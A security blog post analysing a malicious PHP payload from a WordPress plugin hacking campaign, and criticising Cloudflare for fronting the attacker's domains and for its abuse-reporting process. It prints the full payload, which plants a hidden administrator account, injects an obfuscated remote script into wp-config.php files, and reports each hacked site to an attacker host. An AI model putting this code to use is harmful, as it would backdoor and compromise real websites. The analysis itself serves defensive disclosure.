17 Jun 2024

Websites Used As Part of WordPress Hacking Campaign Running Behind Cloudflare

Last week, we looked at the unfixed vulnerability in a WordPress plugin being targeted by a hacking campaign. What was also captured by our firewall’s logging when exploit attempts were stopped was the malicious payload the attacker was attempting to load on to websites. The payload consisted of PHP code that would be placed in a new file with the .php extension on the website. The attacker could then request the URL for the file and the code in it would run. Something in the code stood out to us. The hacker is relying on two legitimate providers to support one element of the campaign. One is more notable than the other, as it is a security provider, Cloudflare. It isn’t the first time that has been true recently.

The Malicious Code

Here is the malicious code that was the payload of the exploit attempts, with some formatting done to make it more readable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
function x_145($x_278) {
	while ($x_278 !== '/') {
		if (file_exists($x_278 . '/wp-load.php')) {
			return $x_278;
		}
		$x_278 = dirname($x_278);
	}
	return null;
}
if (($x_714 = x_145(__DIR__)) !== null) {
	require_once($x_714 . '/wp-load.php');
	if (file_exists($x_007 = $x_714 . '/wp-config.php') && is_writable($x_007) && strpos(file_get_contents($x_007), $x_008 = base64_decode(substr('OO0PHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNzZXRzLnNjb250ZW50Zmxvdy5jb20vIj48L3NjcmlwdD4n===', 3, -4))) === false) {
		file_put_contents($x_007, $x_008 . file_get_contents($x_007));
	}
}
$x12f = ['wp-load.php','../wp-load.php','../../wp-load.php','../../../wp-load.php','../../../../wp-load.php','../../../../../wp-load.php','../../../../../../wp-load.php','../../../../../../../wp-load.php','../../../../../../../../wp-load.php','../../../../../../../../../wp-load.php','../../../../../../../../../../wp-load.php','../../../../../../../../../../../wp-load.php','../../../../../../../../../../../../wp-load.php','../../../../../../../../../../../../../wp-load.php','../../../../../../../../../../../../../../wp-load.php','../../../../../../../../../../../../../../../wp-load.php','../../../../../../../../../../../../../../../../wp-load.php','../../../../../../../../../../../../../../../../../wp-load.php','../../../../../../../../../../../../../../../../../../wp-load.php','../../../../../../../../../../../../../../../../../../../wp-load.php'];
$y34g = false;
foreach ($x12f as $z56h) {
	if (file_exists($z56h)) {
		require_once($z56h);
		$y34g = true;
		break;
	}
}
if ($y34g) {
	$u78j = 'admim'; $i90k = '7F9SzCnS6g3AFLAO39Ro';
	$o12l = 'admim@mystiqueapi.com';
	if (!username_exists($u78j)) {
		$p34m = wp_create_user($u78j, $i90k, $o12l);
		if (!is_wp_error($p34m)) {
			$q56n = new WP_User($p34m); $q56n->set_role('administrator'); 
		}
	}
}
array_map(function($z_002){$z_003=base64_decode(substr('OO0PHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNzZXRzLnNjb250ZW50Zmxvdy5jb20vIj48L3NjcmlwdD4n===', 3, -4));
file_put_contents($z_002, strpos(($z_004=file_get_contents($z_002)), $z_003)===false?$z_003.$z_004:$z_004);}, array_filter(array_map(function($z_005){return $z_005->getFilename()==='wp-config.php'?$z_005->getRealPath():false;}, iterator_to_array(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT'], RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST))), function($z_002){return $z_002!==false;}));
file_get_contents('http://ur.mystiqueapi.com/?ur='.$_SERVER['HTTP_HOST']);
?>

There are several things that code does.

Cloudflare’s Involvement

One is to create a new WordPress account with the Administrator role, which has the user name set to “admim”, the password set to “7F9SzCnS6g3AFLAO39Ro,” and the email address set to “admim@mystiqueapi.com.” That is done with the following code:

$u78j = 'admim'; $i90k = '7F9SzCnS6g3AFLAO39Ro';
$o12l = 'admim@mystiqueapi.com';
if (!username_exists($u78j)) {
	$p34m = wp_create_user($u78j, $i90k, $o12l);
	if (!is_wp_error($p34m)) {
		$q56n = new WP_User($p34m); $q56n->set_role('administrator');

The domain of the email address, mystiqueapi.com, is also used in another piece of the code, which sends a request to the website at that domain with the hostname of the website the code is running on passed along. Presumably that is done to track what websites have been hacked. That is done with the following code:

file_get_contents('http://ur.mystiqueapi.com/?ur='.$_SERVER['HTTP_HOST']);

That domain is registered through Namecheap. The sub-domain, ur.mystiqueapi.com, currently resolves to the IP address, 172.67.165.66, which belongs to Cloudflare. So the website is running through Cloudflare’s proxy service. That hides information about the underlying server hosting the website as well as providing protection against DDOS and other types of attacks.

Another portion of the code adds an HTML script, which causes JavaScript code to run, on to pages of the website. That is done with the following partially obfuscated code:

if (file_exists($x_007 = $x_714 . '/wp-config.php') && is_writable($x_007) && strpos(file_get_contents($x_007), $x_008 = base64_decode(substr('OO0PHNjcmlwdCBzcmM9Imh0dHBzOi8vYXNzZXRzLnNjb250ZW50Zmxvdy5jb20vIj48L3NjcmlwdD4n===', 3, -4))) === false) {
	file_put_contents($x_007, $x_008 . file_get_contents($x_007));

Undoing the obfuscation, the script tag that is added to the pages can be seen:

<script src="https://assets.scontentflow.com/"></script>

The domain used, scontentflow.com, is also registered through Namecheap. The sub-domain, assets.scontentflow.com, currently resolves to the IP address, 104.21.32.41, which belongs to Cloudflare as well.

Those Domains Already Received Coverage

Cloudflare is clearly promoting itself as providing protecting against attacks, as can be seen in a press release they released two weeks ago touting an alliance with another security provider CrowdStrike.

That a security provider is providing service to hackers raises some serious questions about their business and the wider security industry. That other security providers are working with them raises more questions.

Another security provider, Fastly, also comes in to play in this situation. While looking in to the situation, we found that they had published a post on their blog on May 29 about the same hacking campaign. Both of the domains are mentioned in that post, but Cloudflare isn’t mentioned. That post received coverage from multiple news outlets that are included in Google News:

Those stories also didn’t mention Cloudflare’s role here.

Reporting Mechanism Lacking

We looked for a mechanism to report to Cloudflare their involvement in a hacking campaign and didn’t find what seems like an appropriate mechanism. The closest we could find was an abuse reporting mechanism. That doesn’t provide an option for reporting this specific issue. The closest seems to be Phishing & Malware:

That has some rather strange elements. For example, there is pre-checked checkbox to “forward [the] report to the website owner,” which can’t be unselected:

Why would be forwarding a report to a malicious actor? Even worse, would be for Cloudflare to pass your contact details to them, as their is an option to do there.

They also note that reports may be released by Cloudflare to third parties such as the Lumen Database.”

The whole thing seems perverse when you consider that their service is allowing the hacker to be hidden away, in a way that they don’t think is appropriate for abuse reporters.

The abuse reporting mechanism seems designed to scare people away from reporting.

In the information on their abuse reporting system, they write this (emphasis ours):

Everyone benefits from a well-functioning Internet infrastructure, just like other physical infrastructure, and we believe that infrastructure services should generally be made available in a content-neutral way. That is particularly true for services that protect users and customers from cyber attacks.

Being content neutral there means helping to put websites at risk of “cyber attacks.” Being involved in protecting website from attacks they are provided service is really problematic.

Based on this recent Reddit discussion, it doesn’t appear they are all that responsive if you do try to report a situation similar to this.

Lack of Protection for WordPress Websites

While Cloudflare is helping this hacking campaign against WordPress websites, as we noted in January, Cloudflare has continued to not provide firewall protection it was claiming to offer to WordPress websites.

2 thoughts on “Websites Used As Part of WordPress Hacking Campaign Running Behind Cloudflare

    • There were vulnerabilities being targeted in multiple plugins. The solution is to keep plugins up to date and not use plugins that have known unfixed vulnerabilities.

Leave a Reply to Alexis Cancel reply

Your email address will not be published.